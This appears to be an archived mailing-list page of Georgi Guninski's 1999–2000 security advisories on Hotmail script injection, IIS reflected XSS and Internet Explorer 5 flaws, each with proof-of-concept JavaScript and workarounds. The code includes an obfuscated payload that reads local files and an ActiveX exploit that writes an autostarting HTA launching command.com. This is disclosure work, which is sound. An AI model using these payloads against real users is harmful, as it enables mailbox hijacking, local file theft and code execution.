> Response: The IDQ file d:\http\anything.ida could not be found.
>
> Request : http://www.microsoft.com/anything.idq
> Response: The IDQ file d:\http\anything.idq could not be found.
>
> Microsoft is running IIS5
>
> The same problem still exists on IIS4 (tested with SP5 - didn't try on
> SP6).
>
> It's not really a big deal, but they should fix it.
>

This leads to a client side problem also.
The problem is IIS does not escape the response, so one may put some
HTML and javascript in the page returned from www.microsoft.com.
Vulnerabilities:
1) For IE (tested on 5.01, probably other versions) - if the user has
put www.microsoft.com in the Trusted sites security zone, then hostile
javascript and ActiveX may be executed in the Trusted sites security
zone.
2) It is possible to spoof www.microsoft.com by just clicking on a link.
There are probably other vulnerabilities.

Demonstration - click on the links, may also be invoked by javascript:

For IE:
http://www.microsoft.com/%3CP%20style=left:expression(alert("window.location:"+window.location))%3E.ida
(I am surprised  does not work in IE, one
need to reload the page in order to make it executed)

For Communicator:
http://www.microsoft.com/%3CIMG%20SRC=javascript:alert("window.location:"+window.location)%3E.ida

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Yet another Hotmail security hole - injecting JavaScript using "jAvascript:"

2000-01-10 Thread Georgi Guninski


Georgi Guninski security advisory #5, 2000

Yet another Hotmail security hole - injecting JavaScript using
"jAvascript:"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program. Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.

Description:
Hotmail allows executing JavaScript code in email messages using ,
which may compromise user's Hotmail mailbox when viewed with Internet
Explorer.

Details:
Some time ago Hotmail fixed the "javasCript" bug, but now a similar
issue arrises using hexademical codes of characters. There is a security
flaw in Hotmail which allows injecting and executing JavaScript code in
an email message using the javascript protocol. This exploit works on
Internet Explorer.
Hotmail filters the "javascript:" protocol for security reasons. But it
does not filter properly the following case: "jAvascript" where
"A" is the hexademical ASCII code of "A". So the following HTML is
executed  if
the user has enabled automatically loading of images (most users have).

Executing JavaScript when the user opens Hotmail email message allows
for example displaying a fake login screen where the user enters his
password which is then stolen. I don't want to make a scary
demonstration, but it is also possible to read user's messages, to send
messages from user's name and doing other mischief.
It is also possible to get the cookie from Hotmail, which is dangerous.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.

Workaround: Disable Active Scripting

The code is:
---

---

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5 security vulnerablity - circumventing Cross-frame security policy and accessing the DOM of "old" documents.

2000-01-07 Thread Georgi Guninski


Georgi Guninski security advisory #4, 2000

IE 5 security vulnerablity - circumventing Cross-frame security policy
and accessing the DOM of "old" documents.

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Internet Explorer 5.01 under Windows 95 and 5.5 under WinNT 4.0 (suppose
other versions are also vulnerable)
allows circumventing "Cross frame security policy" by accessing the DOM
of "old" documents using  and a design flaw in
IE.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.

Details:
This is a strange exploit. If you open a new document in a window that
contains an old document, the old
document's DOM may be accessed by the new document until the new
document is completely parsed and displayed.
Looks like IE keeps the old document until the new document is finally
parsed and displayed.
If you put a  in the new document, it has
access to the old document's DOM.
Examine the source code for more info:

The code is:
-img2main.html---
link

alert("Create a short text file C:\\test.txt and it will be read and
shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);

-

img2.html



-


Demonstration is available at: http://www.nat.bg/~joro/img2main.html

Workaround: Disable Active Scripting

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Yet another Hotmail security hole - injecting JavaScript in IE using "@import url(javascript:...)"

2000-01-06 Thread Georgi Guninski


Georgi Guninski security advisory #3, 2000

Yet another Hotmail security hole - injecting JavaScript in IE using
"@import url(javascript:...)"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Hotmail allows executing JavaScript code in email messages using
"@import url(javascript:...)",
which may compromise user's Hotmail mailbox when viewed with Internet
Explorer.

Details:
There is a security flaw in Hotmail which allows injecting and executing
JavaScript code in an email message using the javascript protocol.
This exploit works on Internet Explorer.
Hotmail filters the "javascript:" protocol for security reasons.
But the following JavaScript is executed: "@import url(javascript:...)".

Executing JavaScript when the user opens Hotmail email message allows
for example
displaying a fake login screen where the user enters his password which
is then stolen.
I don't want to make a scary demonstration, but it is also possible to
read user's messages, to send messages from user's name and doing other
mischief.
It is also possible to get the cookie from Hotmail, which is dangerous.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.


Workaround: Disable Active Scripting

The code that must be included in HTML email message is:


@import url(javascript:alert('Javascript is executed'));

----

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Yet another Hotmail security hole - injecting JavaScript in IE using

2000-01-04 Thread Georgi Guninski


Georgi Guninski security advisory #2, 2000

Yet another Hotmail security hole - injecting JavaScript in IE using


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Hotmail allows executing JavaScript code in email messages using ,
which may compromise user's Hotmail mailbox when viewed with Internet
Explorer.

Details:
There is a security flaw in Hotmail which allows injecting and executing
JavaScript code in an email message using the javascript protocol.
This exploit works on Internet Explorer.
Hotmail filters the "javascript:" protocol for security reasons.
But the following JavaScript is executed:  if the user has
enabled automatically loading of images (most users have).

Executing JavaScript when the user opens Hotmail email message allows
for example
displaying a fake login screen where the user enters his password which
is then stolen.
I don't want to make a scary demonstration, but it is also possible to
read user's
messages, to send messages from user's name and doing other mischief.
It is also possible to get the cookie from Hotmail, which is dangerous.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.


Workaround: Disable Active Scripting

The code that must be included in HTML email message is:


----

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Hotmail security hole - injecting JavaScript using

2000-01-03 Thread Georgi Guninski


Georgi Guninski security advisory #1, 2000

Hotmail security hole - injecting JavaScript using 

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Hotmail allows executing JavaScript code in email messages using ,
which may compromise user's Hotmail mailbox.

Details:
There is a major security flaw in Hotmail which allows injecting and
executing JavaScript code in an email message using the javascript
protocol. This exploit works both on Internet Explorer 5.x (almost sure
IE 4.x) and Netscape Communicator 4.x.
Hotmail filters the "javascript:" protocol for security reasons.
But the following JavaScript is executed:  if the user has
enabled automatically loading of images (most users have).

Executing JavaScript when the user opens Hotmail email message allows
for example displaying a fake login screen where the user enters his
password which is then stolen.
I don't want to make a scary demonstration, but it is also possible to
read user's messages, to send messages from user's name and doing other
mischief.
It is also possible to get the cookie from Hotmail, which is dangerous.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.
It is much easier to exploit this vulnerability if the user uses
Internet Explorer 5.x

Workaround: Disable JavaScript

The code that must be included in HTML email message is:


----

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.01 vulnerabilities in external.NavigateAndFind()

1999-12-22 Thread Georgi Guninski


IE 5.01 vulnerabilities in external.NavigateAndFind()

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.01 under Windows 95 and 5.0 under WinNT 4.0 (suppose
other versions are also vulnerable)
allows circumventing "Cross frame security policy" by using
external.NavigateAndFind().
This exposes the whole DOM of the target document.
This allows reading local text and HTML files and files from any host
(suppose reading files of any type is possible), getting cookies (that
is dangerous because may get passwords, etc.) and other sensitive
information.
It is also possible in some cases to read files behind firewall.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

Details:

window.external.NavigateAndFind() is used to search for strings in
specified URLs displaying the result in a specified frame.
The problem is it allows searching in "javascript:" URLs in a specified
frame.
In this case the code in the "javascript:" URL is executed in the
security context of the target frame
and the code has access to the document loaded in the target frame.
Examine the code below for more information.

The code is:



function f()
{
window.external.NavigateAndFind("javascript:alert(document.body.innerText);","ll","I1");
}
setTimeout("f()",2000);



Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/navan.html


Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Default IE 5.0 security settings allow frame spoofing

1999-11-30 Thread Georgi Guninski


Default IE 5.0 security settings allow frame spoofing

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 (guess other versions are
affected) with its
default security settings allows frame spoofing. The problem is setting
the location of a frame to an arbitrary URL without updating the address
bar.
This vulnerability allows misleading the user he is browsing a trusted
site, while in fact he may be browsing a hostile site which might be
stealing information.

The code is:


b=window.open("<A  HREF="http://www.citybank.com">http://www.citybank.com</A>");
function g()
{
b.frames[2].location="<A  HREF="http://www.yahoo.com">http://www.yahoo.com</A>";
}
setTimeout("g()",6000);




Solution: Set "Navigate sub-frames across different domains" option to
Disable

Demonstration is available at http://www.nat.bg/~joro/msfrspoof.html

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 XML HTTP redirect problems

1999-11-22 Thread Georgi Guninski


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other
versions are affected) has security problems with HTTP redirects in XML
objects. This allows at least:
1) Reading any (local or nonlocal) XML file and any wellformed
documents. With the growing influence of XML I consider this a serious
problem.
2) Reading parts of documents
3) Checking for the existence of local files.
I suppose reading of arbitrary files (not just XML) is also possible,
but do not have the time to explore.

Details:

When one embeds a XML document in a HTML document IE 5.0 does not handle
properly HTTP redirects
and allows access to the DOM of the embeded XML document.

The code is:

http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>


function  f()
{
s=xm.body.innerHTML;
a=window.open();
//alert(s);
a.document.open();
a.document.write("Here is a part of AUTOEXEC.BAT (the error message is
normal):<BR>"+s);
a.document.close();
}
setTimeout("f()",5000);




Workaround:
Disable Active Scripting or Disable Script ActiveX Controls marked Safe
for Scripting

Demonstration is available at http://www.nat.bg/~joro/xmln.html

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 and Windows Media Player ActiveX object allow checking the existence of local files and directories

1999-11-14 Thread Georgi Guninski


IE 5.0 and Windows Media Player ActiveX object allow checking the
existence of local files and directories

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 (guess other versions are
affected) and Windows Media Player ActiveX object allow checking the
existence of local files and directories.
This vulnerability may be exploited by HTML email or news group posting.

Details:

The problem is an error code returned by Windows Media Player ActiveX
object when a file is attempted to be opened.
Windows Media Player ActiveX object returns "-2147220970" error in the
ErrorCode property when a file or directory does not exist but is tried
to be opened.

The code is:




// -2147220970
function checkfile()
{
b=document.all.wm;
b.FileName=document.forms[0].elements[0].value;
if (b.ErrorCode == -2147220970)
 alert("File does not exist")
else
 alert("File exists");
}






Workaround:
Disable Active Scripting or Disable Script ActiveX Controls marked Safe
for Scripting

Demonstration is available at http://www.nat.bg/~joro/mscheckf.html

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 allows reading local (and from any domain) files and window spoofing using HTTP redirection to "javascript:"

1999-10-18 Thread Georgi Guninski

IE 5.0 allows reading local (and from any domain) files and window
spoofing using HTTP redirection to "javascript:"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
vulnerable)
allows reading local files and text/HTML files from any domain. Window
spoofing is possible.
It is also possible in some cases to read files behind fiewall.

Details:

The problem is a HTTP redirect to "javascript:" URLs.
If you open a local file and the change its location to an URL that
redirects to "javascript:JavaScript code"
then the JavaScript code is executed in the security context of the
original local file and has access to its DOM.
The local file may be sent to an arbitrary server.
In a similar way one may do window spoofing.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

The code is:

alert("Create a short text file C:\\TEST.TXT and it will be read and
shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="<A HREF="http://www.nat.bg/~joro/reject.cgi?jsredir1">http://www.nat.bg/~joro/reject.cgi?jsredir1</A>";

// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP
redirect to: "javascript:alert(document.body.innerText)"

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/jsredir1.html

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 security vulnerability - reading local (and from any domain, probably window spoofing is possible) files using IFRAME and document.execCommand

1999-10-11 Thread Georgi Guninski


IE 5.0 security vulnerability - reading local (and from any domain,
probably window spoofing is possible) files using IFRAME and
document.execCommand

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
vulnerable)
allows reading local files, text and HTML files from any domain and
probably window spoofing (have not tested window spoofing but believe it
is possible)
It is also possible in some cases to read files behind fiewall.

Details:

The problem is the combination of IFRAME and document.execCommand.
Normally, you cannot use execCommand on an IFRAME from another domain.
But if you do:
"IFRAME.focus(); document.execCommand" then command will be executed in
the IFRAME
(some commands do not work in this way, but some do and that is enough).
So, we create an IFRAME with SRC="file://c:/test.txt" and inject
JavaScript code in it. When the
JavaScript code is executed, it is executed in the security context of
the IFRAME - the "file:" protocol.
The injection is done using the "InsertParagraph" command (guess other
commands will do) which sets the ID of the paragraph.
But if you place a " in the ID, then a STYLE tag may be inserted also.
The JavaScript code is injected using the STYLE tag:
STYLE="left:expression(eval(JSCode))"
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

The code is:


alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);





Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/execcommand.html


Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 security vulnerability - reading local (and from any domain) text files using "download behavior"

1999-09-27 Thread Georgi Guninski


IE 5.0 security vulnerability - reading local (and from any domain) text
files using "download behavior"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and Windows NT 4.0 (suppose Win98
is vulnerable)
allows reading local text files (the extension does not matter) and
parts of binary files.
It is also possible to read text files from any domain and in some cases
reading files from a web server behind a firewall.

Details:

The problem is the IE feature "download behavior".
It is possible to click on a link and a callback function to be
executed.
When the callback function is executed by "startDownload" method, the
downloaded file is passed as an argument to the callback function.
Microsoft has implemented some security which does not allow downloading
files in this way from a different domain.
But if the link points to a file in same domain as the exploit page and
a HTTP redirect is forced,
then the exploit works.
It is not necessary the user to click on the link, this may be done
automatically.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

The code is:


function doit(s)
{
 alert ("Here is your file:\n"+s);
}

http://www.nat.bg/~joro/reject.cgi?autoexec',
doit)">Click here to read C:\AUTOEXEC.BAT.

("http://www.nat.bg/~joro/reject.cgi?autoexec" just does a HTTP redirect
to file://c:/autoexec.bat)

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/download2.html


Regards,
Georgi Guninski
http://www.nat.bg/~joro

bugtraq@securityfocus.com

1999-09-22 Thread Georgi Guninski


Yet another major Hotmail security hole - injecting JavaScript using
"javasCript:"

There is a major security flaw in Hotmail which allows injecting and
executing
JavaScript code in an email message using the javascript protocol.
This exploit works both on Internet Explorer 5.0 (guess IE 4.x) and
Netscape Communicator 4.x.
Hotmail filters the "javascript:" protocol for security reasons. But it
does not filter properly
the following case: "javasCript:" where "C" is the ASCII code of
"C".
So the following HTML is executed  if the user has
enabled automatically loading of images (most users have).
Probably this may be used in other HTML tags.
Executing JavaScript when the user opens Hotmail email message allows
for example
displaying a fake login screen where the user enters his password which
is then stolen.
I don't want to make a scary demonstration, but I am sure it is also
possible to read user's
messages, to send messages from user's name and doing other mischief.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.
It is much easier to exploit this vulnerability if the user uses
Internet Explorer 5.0.
AFAIK this is not a browser problem, it is Hotmail's problem.

Workaround: Disable JavaScript

The code is:



Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Re: Hotmail security vulnerability - injecting JavaScript using

1999-09-15 Thread Georgi Guninski

Olaf Titz wrote:
>
> In article <[EMAIL PROTECTED]> you write:
> > Note: This is not a browser problem, it is Hotmail's problem.
>
> It is a browser problem, at least for the Netscape version.

I continue to think this is NOT a browser problem. In both Netscape and
Internet Explorer the behaviour of executing JavaScript via STYLE tag is
fully documented, check the documentation. The fact that Hotmail does
not filter this kind of JavaScript is a Hotmail's problem.

>
> > 
>
> One could argue that styles can be computed via Javascript...
>

This definitely works, I have tried it numerous times. The same may be
reproduced by:
link and in many other
cases.

> >

IE 5.0 security vulnerabilities - ImportExportFavorites - at least creating and overwriting files, probably executing programs

1999-09-10 Thread Georgi Guninski


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95/NT 4.0 (suppose Win98 is
vulnerable)
allows creating and overwriting local files and in SOME cases putting
content in them using the window.external.ImportExportFavorites()
method.
In SOME cases putting content in the file is possible which means
arbitrary programs may be executed.

Details:

The problem is the window.external.ImportExportFavorites() method, which
is used to
import and export bookmarks from and to Netscape Communicator.
The bigger problem is it allows creating and overwriting files, which
obviously leads to a dangerous DoS attack.
One may overwrite critical files which may lead to reinstalling Windows.
Example of this is:

window.external.ImportExportFavorites(0,"c:\\fav.hta");

which will create a file c:\fav.hta, containing IE's favorites without
asking the user, just notifying him the operation is successfull.

In SOME cases, HTML code may be injected in the exported file by
importing a specially
designed HTML file. The file to be imported may reside on a samba or
Windows file server and may be accessed by Microsoft Networking.
The difficult part is this must be exported by using only the  tag,
but HTML Applications help again.

I have verified importing on a Windows NT 4.0 box directly connected to
Internet and it worked fine.
But I could not reproduce importing favorites with Windows 95 connected
to Internet via dial-up, I do not have enough network resources to
investigate further.

I SHALL MUCH APPRECIATE SOME NETWORK GURU EXPLAIN ME WHY IMPORTING USING
MICROSOFT NETWORKING DOES NOT WORK IN SOME CASES
AND CONFIRM OR DENY THE POSSIBLILTY OF IMPORTING FAVORITES FROM A
NETWORK FILE SEVER.

It is possible to import the file using "http" protocol, but then the
user must click the default button YES,
Microsoft does not warn about any security problems in this case.


So the code looks like this:

In a HTML file:
--

// you must change the IP or make the file local !!
window.external.ImportExportFavorites(1,"1.1.1.1\\test\\fav.imp");
// Sure, the StartUp folder is better
window.external.ImportExportFavorites(0,"c:\\fav.hta");

--
In the imported file (fav.imp), residing on a samba or Windows server
without authentication:
---


123456
123455

---
To see the effect start c:\fav.hta (it may be placed in the StartUp
folder and executed automatically)

This vulnerability can be exploited via email or Usenet message using
window.open().

The user must have installed file sharing in order remote importing to
work.

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/imp.html


Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 allows executing programs

1999-08-22 Thread Georgi Guninski


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95/98 (do not know about NT)
allows executing arbitrary programs on the local machine by creating and
overwriting local files and putting content in them.

Details:

The problem is the ActiveX Control "Object for constructing type
libraries for scriptlets".
It allows creating and overwriting local files, and more putting content
in them.
There is some unneeded information in the file, but part of the content
may be chosen.
So, an HTML Application file may be created, feeded with an exploit
information and written to the StartUp folder.
The next time the user reboots (which may be forced), the code in the
HTML Application file will be executed.
This vulnerability can be exploited via email.

Demonstration is available at: http://www.nat.bg/~joro/scrtlb.html

Workaround:
Disable Active Scripting
or
Disable Run ActiveX Controls and plug-ins

The code is:




scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written
by Georgi Guninski
<A  HREF="http://www.nat.bg/~joro">http://www.nat.bg/~joro</A>');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();



Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.0 vulnerabilities using HTTP redirection

1999-01-02 Thread Georgi Guninski


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program. Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and NT 4.0 (suppose Win98 is
vulnerable) allows reading local text and HTML files and files from any
domain (probably reading files of other types of files is possible).
Window spoofing is possible.
It is also possible in some cases to read files behind fiewall.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

Details:

The problem is something like a race condition immediately after
window.open("HTTP-redirecting-URL").
If you do:
a=window.open("HTTP-redirecting-url");
b=a.document;
then you have access to the redirected URL's document using "b".

The code is:


alert("Create short text file c:\\test.txt and it will be read and shown
in a message box");
a=window.open("<A  HREF="http://www.nat.bg/~joro/reject.cgi?test.txt">http://www.nat.bg/~joro/reject.cgi?test.txt</A>");
b=a.document;
setTimeout("alert(b.body.innerText);",4000);

// "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP
redirect to: "file://c:/test.txt"


Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/msredir1.html

Credit:
I would like to give credit to Shane Hird from Australia for helping me
discover this vulnerability.

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

56 matches

Mail list logo